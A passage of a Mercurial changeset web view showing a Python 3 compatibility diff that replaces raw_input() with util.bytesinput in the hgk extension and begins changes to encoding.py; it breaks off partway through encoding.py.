##// END OF EJS Templates
py3: introduce a wrapper for __builtins__.{raw_,}input()...
Augie Fackler -
r33838:7d5bc0e5 default
parent child Browse files
Show More
@@ -1,350 +1,351 b''
1 # Minimal support for git commands on an hg repository
1 # Minimal support for git commands on an hg repository
2 #
2 #
3 # Copyright 2005, 2006 Chris Mason <mason@suse.com>
3 # Copyright 2005, 2006 Chris Mason <mason@suse.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 '''browse the repository in a graphical way
8 '''browse the repository in a graphical way
9
9
10 The hgk extension allows browsing the history of a repository in a
10 The hgk extension allows browsing the history of a repository in a
11 graphical way. It requires Tcl/Tk version 8.4 or later. (Tcl/Tk is not
11 graphical way. It requires Tcl/Tk version 8.4 or later. (Tcl/Tk is not
12 distributed with Mercurial.)
12 distributed with Mercurial.)
13
13
14 hgk consists of two parts: a Tcl script that does the displaying and
14 hgk consists of two parts: a Tcl script that does the displaying and
15 querying of information, and an extension to Mercurial named hgk.py,
15 querying of information, and an extension to Mercurial named hgk.py,
16 which provides hooks for hgk to get information. hgk can be found in
16 which provides hooks for hgk to get information. hgk can be found in
17 the contrib directory, and the extension is shipped in the hgext
17 the contrib directory, and the extension is shipped in the hgext
18 repository, and needs to be enabled.
18 repository, and needs to be enabled.
19
19
20 The :hg:`view` command will launch the hgk Tcl script. For this command
20 The :hg:`view` command will launch the hgk Tcl script. For this command
21 to work, hgk must be in your search path. Alternately, you can specify
21 to work, hgk must be in your search path. Alternately, you can specify
22 the path to hgk in your configuration file::
22 the path to hgk in your configuration file::
23
23
24 [hgk]
24 [hgk]
25 path = /location/of/hgk
25 path = /location/of/hgk
26
26
27 hgk can make use of the extdiff extension to visualize revisions.
27 hgk can make use of the extdiff extension to visualize revisions.
28 Assuming you had already configured extdiff vdiff command, just add::
28 Assuming you had already configured extdiff vdiff command, just add::
29
29
30 [hgk]
30 [hgk]
31 vdiff=vdiff
31 vdiff=vdiff
32
32
33 Revisions context menu will now display additional entries to fire
33 Revisions context menu will now display additional entries to fire
34 vdiff on hovered and selected revisions.
34 vdiff on hovered and selected revisions.
35 '''
35 '''
36
36
37 from __future__ import absolute_import
37 from __future__ import absolute_import
38
38
39 import os
39 import os
40
40
41 from mercurial.i18n import _
41 from mercurial.i18n import _
42 from mercurial.node import (
42 from mercurial.node import (
43 nullid,
43 nullid,
44 nullrev,
44 nullrev,
45 short,
45 short,
46 )
46 )
47 from mercurial import (
47 from mercurial import (
48 commands,
48 commands,
49 obsolete,
49 obsolete,
50 patch,
50 patch,
51 registrar,
51 registrar,
52 scmutil,
52 scmutil,
53 util,
53 )
54 )
54
55
55 cmdtable = {}
56 cmdtable = {}
56 command = registrar.command(cmdtable)
57 command = registrar.command(cmdtable)
57 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
58 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
58 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
59 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
59 # be specifying the version(s) of Mercurial they are tested with, or
60 # be specifying the version(s) of Mercurial they are tested with, or
60 # leave the attribute unspecified.
61 # leave the attribute unspecified.
61 testedwith = 'ships-with-hg-core'
62 testedwith = 'ships-with-hg-core'
62
63
63 @command('debug-diff-tree',
64 @command('debug-diff-tree',
64 [('p', 'patch', None, _('generate patch')),
65 [('p', 'patch', None, _('generate patch')),
65 ('r', 'recursive', None, _('recursive')),
66 ('r', 'recursive', None, _('recursive')),
66 ('P', 'pretty', None, _('pretty')),
67 ('P', 'pretty', None, _('pretty')),
67 ('s', 'stdin', None, _('stdin')),
68 ('s', 'stdin', None, _('stdin')),
68 ('C', 'copy', None, _('detect copies')),
69 ('C', 'copy', None, _('detect copies')),
69 ('S', 'search', "", _('search'))],
70 ('S', 'search', "", _('search'))],
70 ('[OPTION]... NODE1 NODE2 [FILE]...'),
71 ('[OPTION]... NODE1 NODE2 [FILE]...'),
71 inferrepo=True)
72 inferrepo=True)
72 def difftree(ui, repo, node1=None, node2=None, *files, **opts):
73 def difftree(ui, repo, node1=None, node2=None, *files, **opts):
73 """diff trees from two commits"""
74 """diff trees from two commits"""
74 def __difftree(repo, node1, node2, files=None):
75 def __difftree(repo, node1, node2, files=None):
75 assert node2 is not None
76 assert node2 is not None
76 if files is None:
77 if files is None:
77 files = []
78 files = []
78 mmap = repo[node1].manifest()
79 mmap = repo[node1].manifest()
79 mmap2 = repo[node2].manifest()
80 mmap2 = repo[node2].manifest()
80 m = scmutil.match(repo[node1], files)
81 m = scmutil.match(repo[node1], files)
81 modified, added, removed = repo.status(node1, node2, m)[:3]
82 modified, added, removed = repo.status(node1, node2, m)[:3]
82 empty = short(nullid)
83 empty = short(nullid)
83
84
84 for f in modified:
85 for f in modified:
85 # TODO get file permissions
86 # TODO get file permissions
86 ui.write((":100664 100664 %s %s M\t%s\t%s\n") %
87 ui.write((":100664 100664 %s %s M\t%s\t%s\n") %
87 (short(mmap[f]), short(mmap2[f]), f, f))
88 (short(mmap[f]), short(mmap2[f]), f, f))
88 for f in added:
89 for f in added:
89 ui.write((":000000 100664 %s %s N\t%s\t%s\n") %
90 ui.write((":000000 100664 %s %s N\t%s\t%s\n") %
90 (empty, short(mmap2[f]), f, f))
91 (empty, short(mmap2[f]), f, f))
91 for f in removed:
92 for f in removed:
92 ui.write((":100664 000000 %s %s D\t%s\t%s\n") %
93 ui.write((":100664 000000 %s %s D\t%s\t%s\n") %
93 (short(mmap[f]), empty, f, f))
94 (short(mmap[f]), empty, f, f))
94 ##
95 ##
95
96
96 while True:
97 while True:
97 if opts['stdin']:
98 if opts['stdin']:
98 try:
99 try:
99 line = raw_input().split(' ')
100 line = util.bytesinput(ui.fin, ui.fout).split(' ')
100 node1 = line[0]
101 node1 = line[0]
101 if len(line) > 1:
102 if len(line) > 1:
102 node2 = line[1]
103 node2 = line[1]
103 else:
104 else:
104 node2 = None
105 node2 = None
105 except EOFError:
106 except EOFError:
106 break
107 break
107 node1 = repo.lookup(node1)
108 node1 = repo.lookup(node1)
108 if node2:
109 if node2:
109 node2 = repo.lookup(node2)
110 node2 = repo.lookup(node2)
110 else:
111 else:
111 node2 = node1
112 node2 = node1
112 node1 = repo.changelog.parents(node1)[0]
113 node1 = repo.changelog.parents(node1)[0]
113 if opts['patch']:
114 if opts['patch']:
114 if opts['pretty']:
115 if opts['pretty']:
115 catcommit(ui, repo, node2, "")
116 catcommit(ui, repo, node2, "")
116 m = scmutil.match(repo[node1], files)
117 m = scmutil.match(repo[node1], files)
117 diffopts = patch.difffeatureopts(ui)
118 diffopts = patch.difffeatureopts(ui)
118 diffopts.git = True
119 diffopts.git = True
119 chunks = patch.diff(repo, node1, node2, match=m,
120 chunks = patch.diff(repo, node1, node2, match=m,
120 opts=diffopts)
121 opts=diffopts)
121 for chunk in chunks:
122 for chunk in chunks:
122 ui.write(chunk)
123 ui.write(chunk)
123 else:
124 else:
124 __difftree(repo, node1, node2, files=files)
125 __difftree(repo, node1, node2, files=files)
125 if not opts['stdin']:
126 if not opts['stdin']:
126 break
127 break
127
128
128 def catcommit(ui, repo, n, prefix, ctx=None):
129 def catcommit(ui, repo, n, prefix, ctx=None):
129 nlprefix = '\n' + prefix
130 nlprefix = '\n' + prefix
130 if ctx is None:
131 if ctx is None:
131 ctx = repo[n]
132 ctx = repo[n]
132 # use ctx.node() instead ??
133 # use ctx.node() instead ??
133 ui.write(("tree %s\n" % short(ctx.changeset()[0])))
134 ui.write(("tree %s\n" % short(ctx.changeset()[0])))
134 for p in ctx.parents():
135 for p in ctx.parents():
135 ui.write(("parent %s\n" % p))
136 ui.write(("parent %s\n" % p))
136
137
137 date = ctx.date()
138 date = ctx.date()
138 description = ctx.description().replace("\0", "")
139 description = ctx.description().replace("\0", "")
139 ui.write(("author %s %s %s\n" % (ctx.user(), int(date[0]), date[1])))
140 ui.write(("author %s %s %s\n" % (ctx.user(), int(date[0]), date[1])))
140
141
141 if 'committer' in ctx.extra():
142 if 'committer' in ctx.extra():
142 ui.write(("committer %s\n" % ctx.extra()['committer']))
143 ui.write(("committer %s\n" % ctx.extra()['committer']))
143
144
144 ui.write(("revision %d\n" % ctx.rev()))
145 ui.write(("revision %d\n" % ctx.rev()))
145 ui.write(("branch %s\n" % ctx.branch()))
146 ui.write(("branch %s\n" % ctx.branch()))
146 if obsolete.isenabled(repo, obsolete.createmarkersopt):
147 if obsolete.isenabled(repo, obsolete.createmarkersopt):
147 if ctx.obsolete():
148 if ctx.obsolete():
148 ui.write(("obsolete\n"))
149 ui.write(("obsolete\n"))
149 ui.write(("phase %s\n\n" % ctx.phasestr()))
150 ui.write(("phase %s\n\n" % ctx.phasestr()))
150
151
151 if prefix != "":
152 if prefix != "":
152 ui.write("%s%s\n" % (prefix,
153 ui.write("%s%s\n" % (prefix,
153 description.replace('\n', nlprefix).strip()))
154 description.replace('\n', nlprefix).strip()))
154 else:
155 else:
155 ui.write(description + "\n")
156 ui.write(description + "\n")
156 if prefix:
157 if prefix:
157 ui.write('\0')
158 ui.write('\0')
158
159
159 @command('debug-merge-base', [], _('REV REV'))
160 @command('debug-merge-base', [], _('REV REV'))
160 def base(ui, repo, node1, node2):
161 def base(ui, repo, node1, node2):
161 """output common ancestor information"""
162 """output common ancestor information"""
162 node1 = repo.lookup(node1)
163 node1 = repo.lookup(node1)
163 node2 = repo.lookup(node2)
164 node2 = repo.lookup(node2)
164 n = repo.changelog.ancestor(node1, node2)
165 n = repo.changelog.ancestor(node1, node2)
165 ui.write(short(n) + "\n")
166 ui.write(short(n) + "\n")
166
167
167 @command('debug-cat-file',
168 @command('debug-cat-file',
168 [('s', 'stdin', None, _('stdin'))],
169 [('s', 'stdin', None, _('stdin'))],
169 _('[OPTION]... TYPE FILE'),
170 _('[OPTION]... TYPE FILE'),
170 inferrepo=True)
171 inferrepo=True)
171 def catfile(ui, repo, type=None, r=None, **opts):
172 def catfile(ui, repo, type=None, r=None, **opts):
172 """cat a specific revision"""
173 """cat a specific revision"""
173 # in stdin mode, every line except the commit is prefixed with two
174 # in stdin mode, every line except the commit is prefixed with two
174 # spaces. This way the our caller can find the commit without magic
175 # spaces. This way the our caller can find the commit without magic
175 # strings
176 # strings
176 #
177 #
177 prefix = ""
178 prefix = ""
178 if opts['stdin']:
179 if opts['stdin']:
179 try:
180 try:
180 (type, r) = raw_input().split(' ')
181 (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ')
181 prefix = " "
182 prefix = " "
182 except EOFError:
183 except EOFError:
183 return
184 return
184
185
185 else:
186 else:
186 if not type or not r:
187 if not type or not r:
187 ui.warn(_("cat-file: type or revision not supplied\n"))
188 ui.warn(_("cat-file: type or revision not supplied\n"))
188 commands.help_(ui, 'cat-file')
189 commands.help_(ui, 'cat-file')
189
190
190 while r:
191 while r:
191 if type != "commit":
192 if type != "commit":
192 ui.warn(_("aborting hg cat-file only understands commits\n"))
193 ui.warn(_("aborting hg cat-file only understands commits\n"))
193 return 1
194 return 1
194 n = repo.lookup(r)
195 n = repo.lookup(r)
195 catcommit(ui, repo, n, prefix)
196 catcommit(ui, repo, n, prefix)
196 if opts['stdin']:
197 if opts['stdin']:
197 try:
198 try:
198 (type, r) = raw_input().split(' ')
199 (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ')
199 except EOFError:
200 except EOFError:
200 break
201 break
201 else:
202 else:
202 break
203 break
203
204
204 # git rev-tree is a confusing thing. You can supply a number of
205 # git rev-tree is a confusing thing. You can supply a number of
205 # commit sha1s on the command line, and it walks the commit history
206 # commit sha1s on the command line, and it walks the commit history
206 # telling you which commits are reachable from the supplied ones via
207 # telling you which commits are reachable from the supplied ones via
207 # a bitmask based on arg position.
208 # a bitmask based on arg position.
208 # you can specify a commit to stop at by starting the sha1 with ^
209 # you can specify a commit to stop at by starting the sha1 with ^
209 def revtree(ui, args, repo, full="tree", maxnr=0, parents=False):
210 def revtree(ui, args, repo, full="tree", maxnr=0, parents=False):
210 def chlogwalk():
211 def chlogwalk():
211 count = len(repo)
212 count = len(repo)
212 i = count
213 i = count
213 l = [0] * 100
214 l = [0] * 100
214 chunk = 100
215 chunk = 100
215 while True:
216 while True:
216 if chunk > i:
217 if chunk > i:
217 chunk = i
218 chunk = i
218 i = 0
219 i = 0
219 else:
220 else:
220 i -= chunk
221 i -= chunk
221
222
222 for x in xrange(chunk):
223 for x in xrange(chunk):
223 if i + x >= count:
224 if i + x >= count:
224 l[chunk - x:] = [0] * (chunk - x)
225 l[chunk - x:] = [0] * (chunk - x)
225 break
226 break
226 if full is not None:
227 if full is not None:
227 if (i + x) in repo:
228 if (i + x) in repo:
228 l[x] = repo[i + x]
229 l[x] = repo[i + x]
229 l[x].changeset() # force reading
230 l[x].changeset() # force reading
230 else:
231 else:
231 if (i + x) in repo:
232 if (i + x) in repo:
232 l[x] = 1
233 l[x] = 1
233 for x in xrange(chunk - 1, -1, -1):
234 for x in xrange(chunk - 1, -1, -1):
234 if l[x] != 0:
235 if l[x] != 0:
235 yield (i + x, full is not None and l[x] or None)
236 yield (i + x, full is not None and l[x] or None)
236 if i == 0:
237 if i == 0:
237 break
238 break
238
239
239 # calculate and return the reachability bitmask for sha
240 # calculate and return the reachability bitmask for sha
240 def is_reachable(ar, reachable, sha):
241 def is_reachable(ar, reachable, sha):
241 if len(ar) == 0:
242 if len(ar) == 0:
242 return 1
243 return 1
243 mask = 0
244 mask = 0
244 for i in xrange(len(ar)):
245 for i in xrange(len(ar)):
245 if sha in reachable[i]:
246 if sha in reachable[i]:
246 mask |= 1 << i
247 mask |= 1 << i
247
248
248 return mask
249 return mask
249
250
250 reachable = []
251 reachable = []
251 stop_sha1 = []
252 stop_sha1 = []
252 want_sha1 = []
253 want_sha1 = []
253 count = 0
254 count = 0
254
255
255 # figure out which commits they are asking for and which ones they
256 # figure out which commits they are asking for and which ones they
256 # want us to stop on
257 # want us to stop on
257 for i, arg in enumerate(args):
258 for i, arg in enumerate(args):
258 if arg.startswith('^'):
259 if arg.startswith('^'):
259 s = repo.lookup(arg[1:])
260 s = repo.lookup(arg[1:])
260 stop_sha1.append(s)
261 stop_sha1.append(s)
261 want_sha1.append(s)
262 want_sha1.append(s)
262 elif arg != 'HEAD':
263 elif arg != 'HEAD':
263 want_sha1.append(repo.lookup(arg))
264 want_sha1.append(repo.lookup(arg))
264
265
265 # calculate the graph for the supplied commits
266 # calculate the graph for the supplied commits
266 for i, n in enumerate(want_sha1):
267 for i, n in enumerate(want_sha1):
267 reachable.append(set())
268 reachable.append(set())
268 visit = [n]
269 visit = [n]
269 reachable[i].add(n)
270 reachable[i].add(n)
270 while visit:
271 while visit:
271 n = visit.pop(0)
272 n = visit.pop(0)
272 if n in stop_sha1:
273 if n in stop_sha1:
273 continue
274 continue
274 for p in repo.changelog.parents(n):
275 for p in repo.changelog.parents(n):
275 if p not in reachable[i]:
276 if p not in reachable[i]:
276 reachable[i].add(p)
277 reachable[i].add(p)
277 visit.append(p)
278 visit.append(p)
278 if p in stop_sha1:
279 if p in stop_sha1:
279 continue
280 continue
280
281
281 # walk the repository looking for commits that are in our
282 # walk the repository looking for commits that are in our
282 # reachability graph
283 # reachability graph
283 for i, ctx in chlogwalk():
284 for i, ctx in chlogwalk():
284 if i not in repo:
285 if i not in repo:
285 continue
286 continue
286 n = repo.changelog.node(i)
287 n = repo.changelog.node(i)
287 mask = is_reachable(want_sha1, reachable, n)
288 mask = is_reachable(want_sha1, reachable, n)
288 if mask:
289 if mask:
289 parentstr = ""
290 parentstr = ""
290 if parents:
291 if parents:
291 pp = repo.changelog.parents(n)
292 pp = repo.changelog.parents(n)
292 if pp[0] != nullid:
293 if pp[0] != nullid:
293 parentstr += " " + short(pp[0])
294 parentstr += " " + short(pp[0])
294 if pp[1] != nullid:
295 if pp[1] != nullid:
295 parentstr += " " + short(pp[1])
296 parentstr += " " + short(pp[1])
296 if not full:
297 if not full:
297 ui.write("%s%s\n" % (short(n), parentstr))
298 ui.write("%s%s\n" % (short(n), parentstr))
298 elif full == "commit":
299 elif full == "commit":
299 ui.write("%s%s\n" % (short(n), parentstr))
300 ui.write("%s%s\n" % (short(n), parentstr))
300 catcommit(ui, repo, n, ' ', ctx)
301 catcommit(ui, repo, n, ' ', ctx)
301 else:
302 else:
302 (p1, p2) = repo.changelog.parents(n)
303 (p1, p2) = repo.changelog.parents(n)
303 (h, h1, h2) = map(short, (n, p1, p2))
304 (h, h1, h2) = map(short, (n, p1, p2))
304 (i1, i2) = map(repo.changelog.rev, (p1, p2))
305 (i1, i2) = map(repo.changelog.rev, (p1, p2))
305
306
306 date = ctx.date()[0]
307 date = ctx.date()[0]
307 ui.write("%s %s:%s" % (date, h, mask))
308 ui.write("%s %s:%s" % (date, h, mask))
308 mask = is_reachable(want_sha1, reachable, p1)
309 mask = is_reachable(want_sha1, reachable, p1)
309 if i1 != nullrev and mask > 0:
310 if i1 != nullrev and mask > 0:
310 ui.write("%s:%s " % (h1, mask)),
311 ui.write("%s:%s " % (h1, mask)),
311 mask = is_reachable(want_sha1, reachable, p2)
312 mask = is_reachable(want_sha1, reachable, p2)
312 if i2 != nullrev and mask > 0:
313 if i2 != nullrev and mask > 0:
313 ui.write("%s:%s " % (h2, mask))
314 ui.write("%s:%s " % (h2, mask))
314 ui.write("\n")
315 ui.write("\n")
315 if maxnr and count >= maxnr:
316 if maxnr and count >= maxnr:
316 break
317 break
317 count += 1
318 count += 1
318
319
319 # git rev-list tries to order things by date, and has the ability to stop
320 # git rev-list tries to order things by date, and has the ability to stop
320 # at a given commit without walking the whole repo. TODO add the stop
321 # at a given commit without walking the whole repo. TODO add the stop
321 # parameter
322 # parameter
322 @command('debug-rev-list',
323 @command('debug-rev-list',
323 [('H', 'header', None, _('header')),
324 [('H', 'header', None, _('header')),
324 ('t', 'topo-order', None, _('topo-order')),
325 ('t', 'topo-order', None, _('topo-order')),
325 ('p', 'parents', None, _('parents')),
326 ('p', 'parents', None, _('parents')),
326 ('n', 'max-count', 0, _('max-count'))],
327 ('n', 'max-count', 0, _('max-count'))],
327 ('[OPTION]... REV...'))
328 ('[OPTION]... REV...'))
328 def revlist(ui, repo, *revs, **opts):
329 def revlist(ui, repo, *revs, **opts):
329 """print revisions"""
330 """print revisions"""
330 if opts['header']:
331 if opts['header']:
331 full = "commit"
332 full = "commit"
332 else:
333 else:
333 full = None
334 full = None
334 copy = [x for x in revs]
335 copy = [x for x in revs]
335 revtree(ui, copy, repo, full, opts['max_count'], opts['parents'])
336 revtree(ui, copy, repo, full, opts['max_count'], opts['parents'])
336
337
337 @command('view',
338 @command('view',
338 [('l', 'limit', '',
339 [('l', 'limit', '',
339 _('limit number of changes displayed'), _('NUM'))],
340 _('limit number of changes displayed'), _('NUM'))],
340 _('[-l LIMIT] [REVRANGE]'))
341 _('[-l LIMIT] [REVRANGE]'))
341 def view(ui, repo, *etc, **opts):
342 def view(ui, repo, *etc, **opts):
342 "start interactive history viewer"
343 "start interactive history viewer"
343 os.chdir(repo.root)
344 os.chdir(repo.root)
344 optstr = ' '.join(['--%s %s' % (k, v) for k, v in opts.iteritems() if v])
345 optstr = ' '.join(['--%s %s' % (k, v) for k, v in opts.iteritems() if v])
345 if repo.filtername is None:
346 if repo.filtername is None:
346 optstr += '--hidden'
347 optstr += '--hidden'
347
348
348 cmd = ui.config("hgk", "path", "hgk") + " %s %s" % (optstr, " ".join(etc))
349 cmd = ui.config("hgk", "path", "hgk") + " %s %s" % (optstr, " ".join(etc))
349 ui.debug("running %s\n" % cmd)
350 ui.debug("running %s\n" % cmd)
350 ui.system(cmd, blockedtag='hgk_view')
351 ui.system(cmd, blockedtag='hgk_view')
@@ -1,575 +1,589 b''
1 # encoding.py - character transcoding support for Mercurial
1 # encoding.py - character transcoding support for Mercurial
2 #
2 #
3 # Copyright 2005-2009 Matt Mackall <mpm@selenic.com> and others
3 # Copyright 2005-2009 Matt Mackall <mpm@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import array
10 import array
11 import io
11 import locale
12 import locale
12 import os
13 import os
13 import unicodedata
14 import unicodedata
14
15
15 from . import (
16 from . import (
16 error,
17 error,
17 policy,
18 policy,
18 pycompat,
19 pycompat,
19 )
20 )
20
21
21 charencode = policy.importmod(r'charencode')
22 charencode = policy.importmod(r'charencode')
22
23
23 asciilower = charencode.asciilower
24 asciilower = charencode.asciilower
24 asciiupper = charencode.asciiupper
25 asciiupper = charencode.asciiupper
25
26
26 _sysstr = pycompat.sysstr
27 _sysstr = pycompat.sysstr
27
28
28 if pycompat.ispy3:
29 if pycompat.ispy3:
29 unichr = chr
30 unichr = chr
30
31
31 # These unicode characters are ignored by HFS+ (Apple Technote 1150,
32 # These unicode characters are ignored by HFS+ (Apple Technote 1150,
32 # "Unicode Subtleties"), so we need to ignore them in some places for
33 # "Unicode Subtleties"), so we need to ignore them in some places for
33 # sanity.
34 # sanity.
34 _ignore = [unichr(int(x, 16)).encode("utf-8") for x in
35 _ignore = [unichr(int(x, 16)).encode("utf-8") for x in
35 "200c 200d 200e 200f 202a 202b 202c 202d 202e "
36 "200c 200d 200e 200f 202a 202b 202c 202d 202e "
36 "206a 206b 206c 206d 206e 206f feff".split()]
37 "206a 206b 206c 206d 206e 206f feff".split()]
37 # verify the next function will work
38 # verify the next function will work
38 assert all(i.startswith(("\xe2", "\xef")) for i in _ignore)
39 assert all(i.startswith(("\xe2", "\xef")) for i in _ignore)
39
40
40 def hfsignoreclean(s):
41 def hfsignoreclean(s):
41 """Remove codepoints ignored by HFS+ from s.
42 """Remove codepoints ignored by HFS+ from s.
42
43
43 >>> hfsignoreclean(u'.h\u200cg'.encode('utf-8'))
44 >>> hfsignoreclean(u'.h\u200cg'.encode('utf-8'))
44 '.hg'
45 '.hg'
45 >>> hfsignoreclean(u'.h\ufeffg'.encode('utf-8'))
46 >>> hfsignoreclean(u'.h\ufeffg'.encode('utf-8'))
46 '.hg'
47 '.hg'
47 """
48 """
48 if "\xe2" in s or "\xef" in s:
49 if "\xe2" in s or "\xef" in s:
49 for c in _ignore:
50 for c in _ignore:
50 s = s.replace(c, '')
51 s = s.replace(c, '')
51 return s
52 return s
52
53
53 # encoding.environ is provided read-only, which may not be used to modify
54 # encoding.environ is provided read-only, which may not be used to modify
54 # the process environment
55 # the process environment
55 _nativeenviron = (not pycompat.ispy3 or os.supports_bytes_environ)
56 _nativeenviron = (not pycompat.ispy3 or os.supports_bytes_environ)
56 if not pycompat.ispy3:
57 if not pycompat.ispy3:
57 environ = os.environ # re-exports
58 environ = os.environ # re-exports
58 elif _nativeenviron:
59 elif _nativeenviron:
59 environ = os.environb # re-exports
60 environ = os.environb # re-exports
60 else:
61 else:
61 # preferred encoding isn't known yet; use utf-8 to avoid unicode error
62 # preferred encoding isn't known yet; use utf-8 to avoid unicode error
62 # and recreate it once encoding is settled
63 # and recreate it once encoding is settled
63 environ = dict((k.encode(u'utf-8'), v.encode(u'utf-8'))
64 environ = dict((k.encode(u'utf-8'), v.encode(u'utf-8'))
64 for k, v in os.environ.items()) # re-exports
65 for k, v in os.environ.items()) # re-exports
65
66
66 _encodingfixers = {
67 _encodingfixers = {
67 '646': lambda: 'ascii',
68 '646': lambda: 'ascii',
68 'ANSI_X3.4-1968': lambda: 'ascii',
69 'ANSI_X3.4-1968': lambda: 'ascii',
69 }
70 }
70
71
71 try:
72 try:
72 encoding = environ.get("HGENCODING")
73 encoding = environ.get("HGENCODING")
73 if not encoding:
74 if not encoding:
74 encoding = locale.getpreferredencoding().encode('ascii') or 'ascii'
75 encoding = locale.getpreferredencoding().encode('ascii') or 'ascii'
75 encoding = _encodingfixers.get(encoding, lambda: encoding)()
76 encoding = _encodingfixers.get(encoding, lambda: encoding)()
76 except locale.Error:
77 except locale.Error:
77 encoding = 'ascii'
78 encoding = 'ascii'
78 encodingmode = environ.get("HGENCODINGMODE", "strict")
79 encodingmode = environ.get("HGENCODINGMODE", "strict")
79 fallbackencoding = 'ISO-8859-1'
80 fallbackencoding = 'ISO-8859-1'
80
81
81 class localstr(bytes):
82 class localstr(bytes):
82 '''This class allows strings that are unmodified to be
83 '''This class allows strings that are unmodified to be
83 round-tripped to the local encoding and back'''
84 round-tripped to the local encoding and back'''
84 def __new__(cls, u, l):
85 def __new__(cls, u, l):
85 s = bytes.__new__(cls, l)
86 s = bytes.__new__(cls, l)
86 s._utf8 = u
87 s._utf8 = u
87 return s
88 return s
88 def __hash__(self):
89 def __hash__(self):
89 return hash(self._utf8) # avoid collisions in local string space
90 return hash(self._utf8) # avoid collisions in local string space
90
91
91 def tolocal(s):
92 def tolocal(s):
92 """
93 """
93 Convert a string from internal UTF-8 to local encoding
94 Convert a string from internal UTF-8 to local encoding
94
95
95 All internal strings should be UTF-8 but some repos before the
96 All internal strings should be UTF-8 but some repos before the
96 implementation of locale support may contain latin1 or possibly
97 implementation of locale support may contain latin1 or possibly
97 other character sets. We attempt to decode everything strictly
98 other character sets. We attempt to decode everything strictly
98 using UTF-8, then Latin-1, and failing that, we use UTF-8 and
99 using UTF-8, then Latin-1, and failing that, we use UTF-8 and
99 replace unknown characters.
100 replace unknown characters.
100
101
101 The localstr class is used to cache the known UTF-8 encoding of
102 The localstr class is used to cache the known UTF-8 encoding of
102 strings next to their local representation to allow lossless
103 strings next to their local representation to allow lossless
103 round-trip conversion back to UTF-8.
104 round-trip conversion back to UTF-8.
104
105
105 >>> u = 'foo: \\xc3\\xa4' # utf-8
106 >>> u = 'foo: \\xc3\\xa4' # utf-8
106 >>> l = tolocal(u)
107 >>> l = tolocal(u)
107 >>> l
108 >>> l
108 'foo: ?'
109 'foo: ?'
109 >>> fromlocal(l)
110 >>> fromlocal(l)
110 'foo: \\xc3\\xa4'
111 'foo: \\xc3\\xa4'
111 >>> u2 = 'foo: \\xc3\\xa1'
112 >>> u2 = 'foo: \\xc3\\xa1'
112 >>> d = { l: 1, tolocal(u2): 2 }
113 >>> d = { l: 1, tolocal(u2): 2 }
113 >>> len(d) # no collision
114 >>> len(d) # no collision
114 2
115 2
115 >>> 'foo: ?' in d
116 >>> 'foo: ?' in d
116 False
117 False
117 >>> l1 = 'foo: \\xe4' # historical latin1 fallback
118 >>> l1 = 'foo: \\xe4' # historical latin1 fallback
118 >>> l = tolocal(l1)
119 >>> l = tolocal(l1)
119 >>> l
120 >>> l
120 'foo: ?'
121 'foo: ?'
121 >>> fromlocal(l) # magically in utf-8
122 >>> fromlocal(l) # magically in utf-8
122 'foo: \\xc3\\xa4'
123 'foo: \\xc3\\xa4'
123 """
124 """
124
125
125 try:
126 try:
126 try:
127 try:
127 # make sure string is actually stored in UTF-8
128 # make sure string is actually stored in UTF-8
128 u = s.decode('UTF-8')
129 u = s.decode('UTF-8')
129 if encoding == 'UTF-8':
130 if encoding == 'UTF-8':
130 # fast path
131 # fast path
131 return s
132 return s
132 r = u.encode(_sysstr(encoding), u"replace")
133 r = u.encode(_sysstr(encoding), u"replace")
133 if u == r.decode(_sysstr(encoding)):
134 if u == r.decode(_sysstr(encoding)):
134 # r is a safe, non-lossy encoding of s
135 # r is a safe, non-lossy encoding of s
135 return r
136 return r
136 return localstr(s, r)
137 return localstr(s, r)
137 except UnicodeDecodeError:
138 except UnicodeDecodeError:
138 # we should only get here if we're looking at an ancient changeset
139 # we should only get here if we're looking at an ancient changeset
139 try:
140 try:
140 u = s.decode(_sysstr(fallbackencoding))
141 u = s.decode(_sysstr(fallbackencoding))
141 r = u.encode(_sysstr(encoding), u"replace")
142 r = u.encode(_sysstr(encoding), u"replace")
142 if u == r.decode(_sysstr(encoding)):
143 if u == r.decode(_sysstr(encoding)):
143 # r is a safe, non-lossy encoding of s
144 # r is a safe, non-lossy encoding of s
144 return r
145 return r
145 return localstr(u.encode('UTF-8'), r)
146 return localstr(u.encode('UTF-8'), r)
146 except UnicodeDecodeError:
147 except UnicodeDecodeError:
147 u = s.decode("utf-8", "replace") # last ditch
148 u = s.decode("utf-8", "replace") # last ditch
148 # can't round-trip
149 # can't round-trip
149 return u.encode(_sysstr(encoding), u"replace")
150 return u.encode(_sysstr(encoding), u"replace")
150 except LookupError as k:
151 except LookupError as k:
151 raise error.Abort(k, hint="please check your locale settings")
152 raise error.Abort(k, hint="please check your locale settings")
152
153
153 def fromlocal(s):
154 def fromlocal(s):
154 """
155 """
155 Convert a string from the local character encoding to UTF-8
156 Convert a string from the local character encoding to UTF-8
156
157
157 We attempt to decode strings using the encoding mode set by
158 We attempt to decode strings using the encoding mode set by
158 HGENCODINGMODE, which defaults to 'strict'. In this mode, unknown
159 HGENCODINGMODE, which defaults to 'strict'. In this mode, unknown
159 characters will cause an error message. Other modes include
160 characters will cause an error message. Other modes include
160 'replace', which replaces unknown characters with a special
161 'replace', which replaces unknown characters with a special
161 Unicode character, and 'ignore', which drops the character.
162 Unicode character, and 'ignore', which drops the character.
162 """
163 """
163
164
164 # can we do a lossless round-trip?
165 # can we do a lossless round-trip?
165 if isinstance(s, localstr):
166 if isinstance(s, localstr):
166 return s._utf8
167 return s._utf8
167
168
168 try:
169 try:
169 u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
170 u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
170 return u.encode("utf-8")
171 return u.encode("utf-8")
171 except UnicodeDecodeError as inst:
172 except UnicodeDecodeError as inst:
172 sub = s[max(0, inst.start - 10):inst.start + 10]
